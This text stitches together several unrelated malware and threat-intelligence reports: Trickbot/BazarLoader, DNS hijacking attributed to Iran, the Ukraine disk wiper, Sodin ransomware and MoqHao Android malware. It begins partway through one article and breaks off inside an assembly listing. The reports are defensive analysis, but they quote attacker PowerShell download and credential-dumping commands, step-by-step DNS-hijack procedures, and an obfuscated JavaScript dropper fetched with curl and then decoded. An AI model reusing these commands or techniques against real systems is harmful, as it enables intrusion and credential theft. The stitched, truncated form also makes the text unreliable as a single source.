Buer Malware After clicking on the link found in the online document, the victim is presented with a dialog box to run the file. The file is actually a malicious PE32+ executable that is designed to run on all Windows systems. After clicking “Run,” a series of events will take place on the victim’s device that will ultimately lead to the installation of the Bazar backdoor or Buer loader. First, the PE32+ executable noted above will decrypt the payload using an RC4 cipher. The payload happens to be none other than Trickbot, and typically the RC4 key is changed for each iteration of the malware. Area 1 Security researchers identified the string “dave” at the end of the Trickbot payload in memory, which is consistent with prior reporting on techniques employed by Emotet and Trickbot malware developers. This string reveals the attacker’s use of a custom packer to compress and encrypt the file, making it difficult for malware researchers to analyze the payload. Despite this anti-reversing technique, Area 1 Security discovered the Trickbot payload attempts to further infect the victim device by decrypting and running the BazarLoader. Loaders are an essential function that allow attackers to gain a foothold in a network and enable subsequent, more persistent infection via their command and control servers. This tactic opts for stealth by initially loading as little functionality as necessary. In this case, the BazarLoader in turn attempts to download the Bazar backdoor via a blockchain DNS lookup table. This is a great tactic for attackers as it circumvents the need for registrars, giving full ownership of the blockchain domain to the attackers. This way, domain custodians like GoDaddy or Google Domains can’t seize the domain if malicious activity is observed, nor will they have the ability to share information about the domain if served a court order. Similar to bitcoin, Top Level Domains (TLDs) like .bit, .bazar, and .coin are not owned by a single authority but instead shared over peer-to-peer networks. This offers users the ability to bypass censorship and other government restrictions, but also provides a platform for attackers to conduct illicit activities that are safe from typical countermeasures. To download the backdoor, the loader loops through eight unique IP addresses and five domains under the EmerDNS .bazar TLD. The second level domains are comprised of 12 alphabetical characters that are generated using a specific domain generation algorithm. The malware runs through the list of generated .bazar domains to find one that is still actively hosting the backdoor. Once the backdoor is downloaded and successfully run, the attacker can carry out any number of devious acts, including remotely executing commands, exfiltrating sensitive data, and deploying other payloads. These additional payloads range anywhere from post-exploitation frameworks like CobaltStrike to ransomware like Ryuk. In fact, Trickbot is known to deliver Ryuk ransomware to devices via BazarLoader. In one instance, after the initial Bazar infection, attackers exploited a recently disclosed vulnerability to escalate privileges and gain domain-wide ransomware infection just five hours after sending their phishing message. This is unfortunately just one of many possible outcomes that can result from successful infection via this Trickbot phishing campaign. ## How to Stop Evolving Trickbot Campaigns The threat actors behind this campaign leveraged a number of sophisticated techniques to easily evade legacy vendors and cloud email providers. Linking to legitimate, cloud-based sites within the phishing messages, combined with the use of takedown- and sinkhole-resistant EmerDNS TLDs, makes this a particularly difficult campaign for standard defenses to detect. Area 1 Security’s advanced Machine Learning and Artificial Intelligence technology allows our algorithms to uncover the clever tactics seen in this campaign, enabling us to block the messages in real time instead of waiting days or weeks for signature updates. Our time-zero detections lead the industry with reliable verdicts that stop phishing attempts at delivery time. This means that malware like Trickbot, the Bazar backdoor, and follow-on infection with ransomware, never have the opportunity to make their way onto our customers’ devices. The key to stopping sophisticated malware campaigns such as these is a preemptive approach, which has many advantages over post-delivery retraction, and prevents the user from ever being exposed to the attack. ## Indicators of Compromise **Phishing Email Subject Lines:** - Re: Termination List - RE: termination - Re: my visit and call - Re: meeting of - RE: office **Malicious PE32+ Executable Linked to in Decoy Document:** - Sha1: 895d84fc6015a9ad8d1507a99fb44350fb462c79 - Sha256: a3b2528b5e31ab1b82e68247a90ddce9a1237b2994ec739beb096f71d58e3d5b - Md5: dbdb5ddd07075b5b607460ea441cea19 **Sites Hosting Malicious PE32+ Executable:** - hxxps://tees321[.]com/Document3-90[.]exe - hxxps://centraldispatchinc[.]com/Report10-13[.]exe - hxxps://www[.]4rentorlando[.]com/Text_Report[.]exe **Malicious Links in Phishing Messages:** - hxxps://files.constantcontact.com/0d2efd83801/50f95d03-8af1-4396-ac84-d6a7f1212026.pdf - hxxps://docs[.]google[.]com/document/d/e/2PACX-1vQzFpGbLRNSIpbklM51_9P78DJbhxmMLeMzQUJxX9roupKMn3xYX1ZBEjP2Jo5_CHbzoqIdVnwPeazU/pub - hxxps://docs[.]google[.]com/document/d/e/2PACX-1vRhLU8Ar86crHTwsP7rSyStmTABnsPtQ4q3Mic9UIZN-hz06cO8fuzsiiEus9seLQHDU4T51YGcejNU/pub - hxxps://docs[.]google[.]com/document/d/e/2PACX-1vTVCHKzmdSD2wX03GTnyBToo4xvldfGqtFWZiz5bT5cTRozW4Xk5H6GER0GmscSPqnpyFtokphDl-_pub - hxxps://files[.]constantcontact.com/5e536f60101/8c5d270a-897a-4ac8-845a-86c920bf229c[.]pdf - hxxps://files[.]constantcontact.com/defde16c001/0aa90d3a-932f-4343-8661-22e4f6488705[.]pdf - hxxps://docs[.]google[.]com/document/d/e/2PACX-1vSlUktRROV3hU60c_n8LWFpOQBdyJj-N10g4tn14hBfmdaiRGKL9rc4vnTRYdLErwU0AHt7WwbzwU9q/pub - hxxps://docs[.]google[.]com/document/d/e/2PACX-1vRFLfuWRihaQHjGEPs8-Dm7Y3VxEFRpiUJuJmD9Vm6y3xVSSG9Vc3XxRnbyHQzIoWQ_5REbdDbkOq0s/pub **Outbound BazarLoader DNS Requests for Analyzed PE32+ Executable (Port 53):** - 95[.]174[.]65[.]241:53 - 195[.]16[.]195[.]195:53 - 192[.]71[.]245[.]208:53 - 176[.]126[.]70[.]119:53 - 151[.]80[.]222[.]79:53 - 94[.]16[.]114[.]254:53 - 193[.]183[.]98[.]66:53 - 51[.]254[.]25[.]115:53 **Blockchain Domains for Analyzed PE32+ Executable:** - bdfgimbfhgio[.]bazar - dcehjldeghjn[.]bazar - bdfgjlbfhgjn[.]bazar - adehklafghkn[.]bazar - ceggilcgigin[.]bazar
# Global DNS Hijacking Campaign: DNS Record Manipulation at Scale ## Introduction FireEye’s Mandiant Incident Response and Intelligence teams have identified a wave of DNS hijacking that has affected dozens of domains belonging to government, telecommunications, and internet infrastructure entities across the Middle East and North Africa, Europe, and North America. While we do not currently link this activity to any tracked group, initial research suggests the actor or actors responsible have a nexus to Iran. This campaign has targeted victims across the globe on an almost unprecedented scale, with a high degree of success. We have been tracking this activity for several months, mapping and understanding the innovative tactics, techniques, and procedures (TTPs) deployed by the attacker. We have also worked closely with victims, security organizations, and law enforcement agencies where possible to reduce the impact of the attacks and/or prevent further compromises. While this campaign employs some traditional tactics, it is differentiated from other Iranian activity we have seen by leveraging DNS hijacking at scale. The attacker uses this technique for their initial foothold, which can then be exploited in a variety of ways. In this blog post, we detail the three different ways we have seen DNS records be manipulated to enable victim compromises. Technique 1, involving the creation of a Let's Encrypt certificate and changing the A record, was previously documented by Cisco’s TALOS team. The activity described in their blog post is a subset of the activity we have observed. ## Initial Research Suggests Iranian Sponsorship Attribution analysis for this activity is ongoing. While the DNS record manipulations described in this post are noteworthy and sophisticated, they may not be exclusive to a single threat actor as the activity spans disparate timeframes, infrastructure, and service providers. - Multiple clusters of this activity have been active from January 2017 to January 2019. - There are multiple, non-overlapping clusters of actor-controlled domains and IPs used in this activity. - A wide range of providers were chosen for encryption certificates and VPS hosts. Preliminary technical evidence allows us to assess with moderate confidence that this activity is conducted by persons based in Iran and that the activity aligns with Iranian government interests. - FireEye Intelligence identified access from Iranian IPs to machines used to intercept, record, and forward network traffic. While geolocation of an IP address is a weak indicator, these IP addresses were previously observed during the response to an intrusion attributed to Iranian cyber espionage actors. - The entities targeted by this group include Middle Eastern governments whose confidential information would be of interest to the Iranian government and have relatively little financial value. ## Details The following examples use victim.com to stand in for the victim domain, and private IP addresses to stand in for the actor-controlled IP addresses. ### Technique 1 – DNS A Records The first method exploited by the attacker is altering DNS A Records. 1. The attacker logs into PXY1, a Proxy box used to conduct non-attributed browsing and as a jumpbox to other infrastructure. 2. The attacker logs into the DNS provider’s administration panel, utilizing previously compromised credentials. 3. The A record (e.g., mail.victim.com) is currently pointing to 192.168.100.100. 4. The attacker changes the A record and points it to 10.20.30.40 (OP1). 5. The attacker logs in from PXY1 to OP1. A proxy is implemented to listen on all open ports, mirroring mail.victim.com. A load balancer points to 192.168.100.100 [mail.victim.com] to pass through user traffic. 6. Certbot is used to create a Let’s Encrypt certificate for mail.victim.com. We have observed multiple Domain Control Validation providers being utilized as part of this campaign. 7. A user now visits mail.victim.com and is directed to OP1. The Let’s Encrypt certificate allows the browsers to establish a connection without any certificate errors as Let's Encrypt Authority X3 is trusted. The connection is forwarded to the load balancer which establishes the connection with the real mail.victim.com. The user is not aware of any changes and may only notice a slight delay. 8. The username, password, and domain credentials are harvested and stored. ### Technique 2 – DNS NS Records The second method exploited by the attacker involved altering DNS NS Records. 1. The attacker again logs into PXY1. 2. This time, however, the attacker exploits a previously compromised registrar or ccTLD. 3. The nameserver record ns1.victim.com is currently set to 192.168.100.200. The attacker changes the NS record and points it to ns1.baddomain.com [10.1.2.3]. That nameserver will respond with the IP 10.20.30.40 (OP1) when mail.victim.com is requested, but with the original IP 192.168.100.100 if it is www.victim.com. 4. The attacker logs in from PXY1 to OP1. A proxy is implemented to listen on all open ports, mirroring mail.victim.com. A load balancer points to 192.168.100.100 [mail.victim.com] to pass through user traffic. 5. Certbot is used to create a Let’s Encrypt certificate for mail.victim.com. We have observed multiple Domain Control Validation providers being utilized during this campaign. 6. A user visits mail.victim.com and is directed to OP1. The Let’s Encrypt certificate allows browsers to establish a connection without any certificate errors as Let's Encrypt Authority X3 is trusted. The connection is forwarded to the load balancer which establishes the connection with the real mail.victim.com. The user is not aware of any changes and may only notice a slight delay. 7. The username, password, and domain credentials are harvested and stored. ### Technique 3 – DNS Redirector The attacker has also been observed using a third technique in conjunction with either Technique 1 or Technique 2. This involves a DNS Redirector. The DNS Redirector is an attacker operations box which responds to DNS requests. 1. A DNS request for mail.victim.com is sent to OP2 (based on previously altered A Record or NS Record). 2. If the domain is part of the victim.com zone, OP2 responds with an attacker-controlled IP address, and the user is redirected to the attacker-controlled infrastructure. 3. If the domain is not part of the victim.com zone (e.g., google.com), OP2 makes a DNS request to a legitimate DNS to get the IP address and the legitimate IP address is returned to the user. ## Targets A large number of organizations have been affected by this pattern of DNS record manipulation and fraudulent SSL certificates. They include telecoms and ISP providers, internet infrastructure providers, government, and sensitive commercial entities. ## Root Cause Still Under Investigation It is difficult to identify a single intrusion vector for each record change, and it is possible that the actor or actors are using multiple techniques to gain an initial foothold into each of the targets described above. FireEye intelligence customers have received previous reports describing sophisticated phishing attacks used by one actor that also conducts DNS record manipulation. Additionally, while the precise mechanism by which the DNS records were changed is unknown, we believe that at least some records were changed by compromising a victim’s domain registrar account. ## Prevention Tactics This type of attack is difficult to defend against because valuable information can be stolen, even if an attacker is never able to get direct access to your organization’s network. Some steps to harden your organization include: 1. Implement multi-factor authentication on your domain’s administration portal. 2. Validate A and NS record changes. 3. Search for SSL certificates related to your domain and revoke any malicious certificates. 4. Validate the source IPs in OWA/Exchange logs. 5. Conduct an internal investigation to assess if attackers gained access to your environment. ## Conclusion This DNS hijacking, and the scale at which it has been exploited, showcases the continuing evolution in tactics from Iran-based actors. This is an overview of one set of TTPs that we recently observed affecting multiple entities. We are highlighting it now so that potential targets can take appropriate defensive action.
# Ukraine: Disk-wiping Attacks Precede Russian Invasion **UPDATE February 24, 2022, 13:42:** This blog has been updated with details about ransomware being used as a possible decoy during some wiper attacks. A new form of disk-wiping malware (Trojan.Killdisk) was used to attack organizations in Ukraine shortly before the launch of a Russian invasion this morning (February 24). Symantec, a division of Broadcom Software, has also found evidence of wiper attacks against machines in Lithuania. Sectors targeted included organizations in the financial, defense, aviation, and IT services sectors. Trojan.Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd. It contains 32-bit and 64-bit driver files which are compressed by the Lempel-Ziv algorithm stored in their resource section. The driver files are signed by a certificate issued to EaseUS Partition Master. The malware will drop the corresponding file according to the operating system (OS) version of the infected system. Driver file names are generated using the Process ID of the wiper. Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable. The wiper does not appear to have any additional functionality beyond its destructive capabilities. ## Attack chain Initial indications suggest that the attacks may have been in preparation for some time. Temporal evidence points to potentially related malicious activity beginning as early as November 2021. However, we are continuing to review and verify findings. In the case of an attack against one organization in Ukraine, the attackers appear to have gained access to the network on December 23, 2021, via malicious SMB activity against a Microsoft Exchange Server. This was immediately followed by credential theft. A web shell was also installed on January 16, before the wiper was deployed on February 23. An organization in Lithuania was compromised from at least November 12, 2021, onwards. It appears the attackers may have leveraged a Tomcat exploit in order to execute a PowerShell command. The decoded PowerShell was used to download a JPEG file from an internal server on the victim’s network. ```plaintext cmd.exe /Q /c powershell -c "(New-Object System.Net.WebClient).DownloadFile('hxxp://192.168.3.13/email.jpeg','CSIDL_SYSTEM_DRIVE\temp\sys.tmp1')" 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1 ``` A minute later, the attackers created a scheduled task to execute a suspicious ‘postgresql.exe’ file, weekly on a Wednesday, specifically at 11:05 local-time. The attackers then ran this scheduled task to execute the task. ```plaintext cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1 schtasks /run /tn "\Microsoft\Windows\termsrv\licensing\TlsAccess" ``` Nine minutes later, the attackers modified the scheduled task to execute the same postgres.exe file at 09:30 local-time instead. Beginning on February 22, Symantec observed the file ‘postgresql.exe’ being executed and used to perform the following: - Execute certutil to check connectivity to trustsecpro[.]com and whatismyip[.]com - Execute a PowerShell command to download another JPEG file from a compromised web server - confluence[.]novus[.]ua Following this activity, PowerShell was used to dump credentials from the compromised machine: ```plaintext cmd.exe /Q /c powershell -c "rundll32 C:\windows\system32\comsvcs.dll MiniDump 600 C:\asm\appdata\local\microsoft\windows\winupd.log full" 1> \\127.0.0.1\ADMIN$\__1638457529.1247072 2>&1 ``` Later, following the above activity, several unknown PowerShell scripts were executed. ```plaintext powershell -v 2 -exec bypass -File text.ps1 powershell -exec bypass gp.ps1 powershell -exec bypass -File link.ps1 ``` Five minutes later, the wiper (Trojan.KillDisk) was deployed. ## Ransomware decoy In several attacks Symantec has investigated to date, ransomware was also deployed against affected organizations at the same time as the wiper. As with the wiper, scheduled tasks were used to deploy the ransomware. File names used by the ransomware included client.exe, cdir.exe, cname.exe, connh.exe, and intpub.exe. It appears likely that the ransomware was used as a decoy or distraction from the wiper attacks. This has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
# Sodin Ransomware Exploits Windows Vulnerability and Processor Architecture **Authors** Orkhan Mamedov Artur Pakulov Fedor Sinitsyn When Sodin (also known as Sodinokibi and REvil) appeared in the first half of 2019, it immediately caught our attention for distributing itself through an Oracle Weblogic vulnerability and carrying out attacks on MSP providers. In a detailed analysis, we discovered that it also exploits the CVE-2018-8453 vulnerability to elevate privileges in Windows (rare among ransomware) and uses legitimate processor functions to circumvent security solutions. According to our statistics, most victims were located in the Asia-Pacific region: Taiwan, Hong Kong, and South Korea. ## Technical Description ### Vulnerability Exploitation To escalate privileges, Trojan-Ransom.Win32.Sodin uses a vulnerability in win32k.sys; attempts to exploit it were first detected by our proactive technologies (Automatic Exploit Prevention, AEP) in August last year. The vulnerability was assigned the number CVE-2018-8453. After the exploit is executed, the Trojan acquires the highest level of privileges. Depending on the processor architecture, one of two shellcode options contained in the Trojan body is run. Since the binary being analyzed is a 32-bit executable file, we are interested in how it manages to execute 64-bit code in its address space. The screenshot shows a shellcode snippet for executing 64-bit processor instructions. In a 64-bit OS, the segment selector for 32-bit user mode code is 0x23, while the 64-bit segment selector is 0x33. This is confirmed by looking at the Global Descriptor Table (GDT) in the kernel debugger. The selector 0x23 points to the fourth segment descriptor, and the selector 0x33 to the sixth (the null descriptor is not used). The Nl flag indicates that the segment uses 32-bit addressing, while the Lo flag specifies 64-bit. It is important that the base addresses of these segments are equal. At the time of shellcode execution, the selector 0x23 is located in the segment register cs, since the code is executed in a 32-bit address space. After executing the command for RVA addresses 6 and 7, the long return address is stored at the top of the stack in the format selector:offset, and takes the form 0x23:0x0C. In the stack at offset 0x11, a DWORD is placed whose low-order word contains the selector 0x33 and whose high-order word encodes the instruction retf, the opcode of which is equal to 0xCB. ### Switching to 64-bit Mode The next instruction call performs a near intrasegment jump to this retf instruction, having sent the short return address to the stack. As such, at the time of execution of the retf instruction, the top of the stack contains the address in the format selector:offset, where the selector equals 0x33 and the offset is 0x1b. After executing the retf command, the processor proceeds to execute the code at this address, but now in 64-bit mode. The return to 32-bit mode is performed at the very end of the shellcode. The retf command makes a far intrasegment jump to the address 0x23:0x0C. This technique of executing 64-bit code in a 32-bit process address space is called Heaven’s Gate. ### Trojan Configuration Stored in encrypted form in the body of each Sodin sample is a configuration block containing the settings and data required for the Trojan to work. The Sodin configuration has the following fields: - **pk**: distributor public key - **pid**: probably distributor id - **sub**: probably campaign id - **dbg**: debug build - **fast**: fast encryption mode (maximum 0x100000 bytes) - **wipe**: deletion of certain files and overwriting of their content with random bytes - **wfld**: names of directories in which the Trojan deletes files - **wht**: names of directories and files, and list of extensions not to be encrypted - **prc**: names of processes to be terminated - **dmn**: server addresses for sending statistics - **net**: sending infection statistics - **nbody**: ransom note template - **nname**: ransom note file name template - **exp**: use of exploit for privilege escalation - **img**: text for desktop wallpaper ### Cryptographic Scheme Sodin uses a hybrid scheme to encrypt victim files. The file contents are encrypted with the Salsa20 symmetric stream algorithm, and the keys for it with an elliptic curve asymmetric algorithm. The Sodin configuration block contains the pk field, which is saved in the registry under the name sub_key – this is the 32-byte public key of the Trojan distributor. The key is a point on the Curve25519 elliptic curve. When launched, the Trojan generates a new pair of elliptic curve session keys; the public key of this pair is saved in the registry under the name pk_key, while the private key is encrypted using the ECIES algorithm with the sub_key key and stored in the registry under the name sk_key. The ECIES implementation in this case includes the Curve25519 elliptic curve, the SHA3-256 cryptographic hash, and the AES-256 block cipher in CFB mode. Curiously, the same private session key is also encrypted with another public key hardcoded into the body of the Trojan, regardless of the configuration. We will call it the public skeleton key. The encryption result is stored in the registry under the name 0_key. It turns out that someone who knows the private key corresponding to the public skeleton key is able to decrypt the victim’s files, even without the private key for sub_key. It seems like the Trojan developers built a loophole into the algorithm allowing them to decrypt files behind the distributors’ back. ### File Encryption During encryption of each file, a new pair of elliptic curve asymmetric keys is generated, which we will call file_pub and file_priv. Next, SHA3-256(ECDH(file_priv, pk_key)) is calculated, and the result is used as the symmetric key for encrypting file contents with the Salsa20 algorithm. The following information is also saved in the encrypted file: In addition to the fields discussed above, there is also a nonce (random initialization 8 bytes for the Salsa20 cipher), file_pub_crc32 (checksum for file_pub), flag_fast (if set, only part of the data in the file is encrypted), zero_encr_by_salsa (null dword encrypted by the same Salsa20 key as the file contents – seemingly to check the correctness of the decryption). The encrypted files receive a new arbitrary extension (the same for each infection case), the ransom note is saved next to them, and the malware-generated wallpaper is set on the desktop. ### Network Communication If the corresponding flag is set in the configuration block, the Trojan sends information about the infected machine to its servers. The transmitted data is also encrypted with the ECIES algorithm using yet another hardcoded public key. The fields include: - **ver**: Trojan version - **pid**: probably distributor id - **sub**: probably campaign id - **pk**: distributor public key - **uid**: infection id - **sk**: sk_key value - **unm**: infected system username - **net**: machine name - **grp**: machine domain/workgroup - **lng**: system language - **bro**: whether language or layout is from the list - **os**: OS version - **bit**: architecture - **dsk**: information about system drives - **ext**: extension of encrypted files During the execution process, the Trojan checks the system language and available keyboard layouts. If matches are detected in the list, the malware process terminates short of sending statistics.
# MoqHao Android Malware Analysis and Phishing Campaign **TL;DR** The Roaming Mantis cyber threat actor is currently targeting France with an SMS phishing campaign to deliver a malicious Android application named MoqHao. This malware contains its code in an encrypted and compressed resource. Once the resource is launched, MoqHao retrieves the IP address of its Command & Control server by decrypting the “About” section of Imgur’s profile. You can find samples and Python scripts on this Github repository. ## Introduction Recently, both Alol and I received multiple phishing SMS (or “smishing”) with the same pattern. These SMS lead us to download a malicious APK. Let’s investigate! ## Smishing Campaign The smishing campaign has been targeting France for at least 1-2 months. The chain of infection is quite simple. The victim clicks on the link in the SMS. Then, the site checks if the User-Agent is an Android/iPhone device and if the IP address comes from France (geofencing). If it is not the case, you receive a 404 not found. Otherwise, Android devices will be redirected to download a malicious APK and iPhone devices to a phishing website to steal iCloud credentials. **Example of phishing SMS:** EN: Your package has been sent. Please check it and receive it. hxxp://shbuf.bwdbu.com/ In this article, we will focus on the Android malicious application, named MoqHao. It is automatically downloaded when we click on the link in the SMS thanks to the following Javascript snippet: ```javascript $ curl http://shbuf.bwdbu.com/ -A "Mozilla/5.0 (Android 11; Mobile Firefox/83)" <html> <head> <title></title> </head> <body> <div> <script> var arr = "14964,14969,14960,14951,14945,14909,14903,14932,14963,14972,14971,14901,14961,14898,14964,14947,14970,14972,14951,14901,14944,14971"; on(a){return a|0}); var b = arr[arr.length-1]; for(var i=0;i<arr.length-1;i++) { arr[i] =arr[i]^b; } arr.pop(); eval(String.fromCharCode(...arr)); </script> </div> </body> </html> ``` We can simply replace the `eval` function with a `console.log` and execute it to get the following clean JS code: ```javascript alert("Afin d'avoir une meilleure expérience, veuillez mettre à jour votre navigateur Chrome à la dernière version"); location.replace("/hxdsvgyeiw.apk"); ``` This code opens a popup which says “For a better experience, please update your Chrome browser to the latest version” and then redirects you to the Android malware (`/hxdsvgyeiw.apk`). The name of the APK changes every time you request the website. The resource folder name and the resource name of the malware are also changed every time to bypass hash/string detection signature by AV. ```bash $ sha256sum samples/*apk d18cbb0dc2321ef6ed05fea165afb19f2b23b651906ecfe3fe594f47377daa23 samples/rosolhvtig.apk 7da86d30b325db5989f44a500c25df9bf76fcb94eae2bee26c8a851d47094b8e samples/ykvfcdselh.apk ``` You can check `rosolhvtig.apk` on VirusTotal. ## Malware Analysis Here is the list of tools I used in this analysis with their purpose: - **jadx-gui** (Java/DEX decompiler) - **Ghidra** (Native library disassembler/decompiler) - **AVD** (Run and manage Android VMs) - **Frida** (Hooks functions inside Android app) - **Burpsuite** (HTTP proxy) ### Overview of the Application We can use `jadx-gui` to view the source code of the malware. Before diving into the code, we can notice two things in the file structure. We have a native library (`libvg.so`) and a resource with a weird name (`1eqlsfh`). Let’s check the entropy (randomness of data) of the resource on CyberChef. We get 7.99 as entropy, which means that the resource is encrypted and/or compressed. We can keep that in mind for later. In the `AndroidManifest.xml`, we can extract the permissions and the name of the MainActivity. ```xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="11" android:versionName="96" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="fzicp.hmoj.zqzf.cnuxf"> <uses-sdk android:minSdkVersion="18" android:targetSdkVersion="21"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="yytp.hytm.bzkzk"/> <uses-permission android:name="anjccte.cepa.jnch"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.GET_ACCOUNTS"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <application android:label="Chгome" android:icon="@drawable/ic_launcher" android:name="gb9i3m6.RgApplication"> <activity android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen" android:name="gb9i3m6.YrActivity" android:exported="true" android:excludeFromRecents="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> ... </manifest> ``` Of course, the malware requires a large number of permissions, we can already make assumptions about the potential functionality of the malware. Here is the code of the MainActivity (`gb9i3m6.YrActivity`): ```java package gb9i3m6; import android.app.Activity; import android.content.Context; import android.os.Bundle; import s.ni; public class YrActivity extends Activity { private static Object a(String str, String str2, boolean z, int i, boolean z2, String str3) { return ni.qc(str, str2, 1L, str3, 3, false, 0); } private static Object b(Context context) { return ni.pe(context, 0); } @Override // android.app.Activity protected void onCreate(Bundle bundle) { super.onCreate(bundle); Ud.c(this); // Create Ud instance from static function, then create new RgApplication Object[] objArr = new Object[2]; try { Object b = b(this); objArr[1] = a(getPackageName(), YrActivity.class.getName(), false, 0, false, "0"); objArr[0] = b; } catch (Exception unused) { } ni.jf("", objArr, 2, 0L, 1, false, 0, true, 1L, false); finish(); } } ``` As you can see, the code is obfuscated and we have a lot of native library calls. All the calls are described here: ```java package s; public class ni { public static native Object iz(Class cls); public static native void jf(String str, Object[] objArr, int i, long j, int i2, boolean z, int i3, boolean z2, long j2, boolean z3); public static native String ls(int i); public static native Object mz(String str, String str2, int i, boolean z); public static native Object oa(String str, Object obj, int i, boolean z, int i2); public static native void ob(Object obj, Object obj2); public static native String om(String str, String str2); public static native void op(Object obj, Object obj2, Object obj3, long j, boolean z, int i, String str); public static native String oq(Object obj, int i, String str, boolean z); public static native Object or(String str, Object obj, int i); public static native Object pe(Object obj, int i); public static native Object pi(Object obj, Object obj2, int i, boolean z, String str); public static native void pq(Object obj, Object obj2, Object obj3, Object obj4, String str, int i, long j, boolean z, int i2, long j2); public static native Object qc(String str, String str2, long j, String str3, int i, boolean z, int i2); } ``` ### Native Library Analysis The interesting part is inside the `RgApplication.java` file: ```java public class RgApplication extends Application { public Object a; public Class b; private void a(Object obj) { Class cls = (Class) ni.oa(ni.ls(1), obj, 1, true, 0); // ClassLoader.loadClass("com.Loader") this.b = cls; this.a = ni.iz(cls); // instantiate "com.Loader" Object } // [3] Write the resource to <...>/files/b and launch it private void b(String str, Object obj) { String oq = ni.oq(this, 1, "", true); // Get the absolute path of the "files" directory String om = ni.om(oq, "b"); // Concatenate "/b" to the absolute path e(om, obj); // write unpacked resource to "<app>/files/b" a(f(0, str, oq, om)); // new com.Loader() (Entrypoint of the unpacked DEX library) } // [2] Unpack the resource inside "xmdop" and call b(...) private void c(Object obj) { // ni.pi(this, obj, 1, false, "") : XOR and deflate the resource inside "xmdop" b(obj.toString(), ni.pi(this, obj, 1, false, "")); } // [1] Call on Object creation private void d() { // load native library libvg.so Runtime.getRuntime().load(((PathClassLoader) getClassLoader()).findLibrary("vg")); c("xmdop"); // "xmdop" = resource folder name } private static Object e(String str, Object obj) { return ni.or(str, obj, 0); // write data to a file } private Object f(int i, String str, String str2, String str3) { return ni.mz(str3, ni.om(str2, str).toString(), 1, false); // new object ClassLoader } @Override // android.app.Application public void onCreate() { super.onCreate(); try { d(); } catch (Throwable unused) { } } } ``` First, the method `d()` is called, it loads the native library `libvg.so` and calls `c("xmdop")` (the parameter corresponds to the name of the resource folder). Secondly, the method `c("xmdop")` unpacks the resource (XOR and zlib decompression) and calls `b("xmdop", "<unpacked_resource>")`. Finally, the method `b("xmdop", "<unpacked_resource>")` saves the unpacked resource at `/data/data/<package_name>/files/b` and launches the unpacked resource which is a DEX file via `ClassLoader.loadClass("com.Loader")`. `com.Loader` is a name of a class inside the unpacked resource. ### Unpack the Resource Now, there are two ways to get the unpacked resource: 1. Using `adb` to pull the DEX code directly from the infected device: `adb pull /data/data/<package_name>/files/b`. 2. Using static code analysis of the native library function `ni.pi(...)` to find how the resource is unpacked. The first argument of JNI functions is always `JNIEnv *`. The JNIEnv type is a pointer to a structure storing all JNI function pointers. Each function is accessible at a fixed offset through the JNIEnv argument. You can find the list of functions and offsets on this spreadsheet. The JNIEnv structure can be downloaded as Ghidra Data Type (GDT), `jni_all.gdt`. So, you can import it on Ghidra and it will resolve automatically function names when you change the JNI function signature. JNI functions at a JNIEnv offset are now automatically resolved. This improves the readability of decompiled C code. There is the decompiled C code of the `ni.pi(...)` function: As you can see, the resource seems to be XORed and decompressed (zlib). Let’s switch to the assembler view to find the key of the XOR. ```assembly ; [*] Get the first 12 bytes of the resource and stores it in r0 8c9e : ldr.w r0, [fp] 8ca2 : mov r1, r4 8ca4 : movs r2, #0 8ca6 : movs r3, #12 ; r3 = 12 8ca8 : ldr.w r6, [r0, #800] ; offset of GetByteArrayRegion in JNIEnv struct 8cac : add r0, sp, #44 ; r0 = sp + 44 8cae : str r0, [sp, #0] ; r0 = address of the buffer 8cb0 : mov r0, fp 8cb2 : blx r6 ; [*] Create a new Byte Array of 512 bytes ; r4 = 11th bytes of the resource 8cb4 : ldr.w r0, [fp] 8cb8 : mov.w r1, #512 ; r1 = 512 8cbc : mov r6, r5 8cbe : ldrb.w r4, [sp, #55] ; r4 = r0 + 11, the 11th bytes of the resource 8cc2 : ldr.w r2, [r0, #704] ; offset of NewByteArray in JNIEnv struct 8cc6 : mov r0, fp 8cc8 : blx r2 8cca : sub.w sl, r7, #185 8cce : mov r5, r0 8cd0 : movs r0, #0 8cd2 : strd r0, r0, [sp, #32] ; Initialize vector struct to store unxored resource ; #32 = vector.lpStart, #36 = vector.lpLastData 8cd6 : str r0, [sp, #40] ; #40 = vector.lpEnd 8cd8 : str r5, [sp, #24] 8cda : str r6, [sp, #16] ; [*] Loop to read the resource (512 bytes block), start from 12th bytes 8cdc : ldr r1, [sp, #20] 8cde : mov r0, fp ; r0 = *JNIEnv 8ce0 : mov r2, r6 ; r2 = InputStream -> int read(byte[] b) 8ce2 : mov r3, r5 ; r3 = addr of 512 bytes array 8ce4 : blx 7d64 